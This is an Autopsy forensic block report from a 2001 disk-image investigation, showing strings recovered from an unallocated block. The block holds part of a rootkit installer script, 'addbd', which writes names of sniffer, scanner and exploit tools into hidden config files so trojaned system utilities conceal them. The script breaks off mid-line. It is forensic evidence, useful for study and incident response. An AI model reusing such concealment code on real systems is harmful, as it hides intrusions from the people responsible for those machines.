autopsy string Block Report (ver 0.1b)

 ------------------------------------------------------
Block: 99797
Not allocated to any inodes
MD5 of raw block: 4b0dd3d4a939168fada189fad4f5782b
MD5 of string output: 457f5e6bcd7a1956512f3fbe5eaf4ad9
Device: /usr/proj/forensics/morgue/hda8_root
Date Generated: Fri Feb 16 13:04:15 2001
Investigator: Brian Carrier
 ------------------------------------------------------
.Ci/addbd
0100755
0001762
0000144
00000002472
07116120706
011220
ustar  
users
#!/bin/sh
echo "adding ps, tcpd, and ls hide files"
sleep 1
echo "Editing Ps bd files first"
echo "2 slice2" >> /usr/man/p
echo "2 snif" >> /usr/man/p
echo "2 pscan" >> /usr/man/p
echo "2 imp" >> /usr/man/p
echo "3 qd" >> /usr/man/p
echo "2 bs.sh" >> /usr/man/p
echo "3 nn" >> /usr/man/p
echo "3 egg.lin" >> /usr/man/p
echo "2 slice2" >> /usr/man/.p
echo "2 snif" >> /usr/man/.p
echo "2 pscan" >> /usr/man/.p
echo "2 imp" >> /usr/man/.p
echo "3 qd" >> /usr/man/.p
echo "2 bs.sh" >> /usr/man/.p
echo "3 nn" >> /u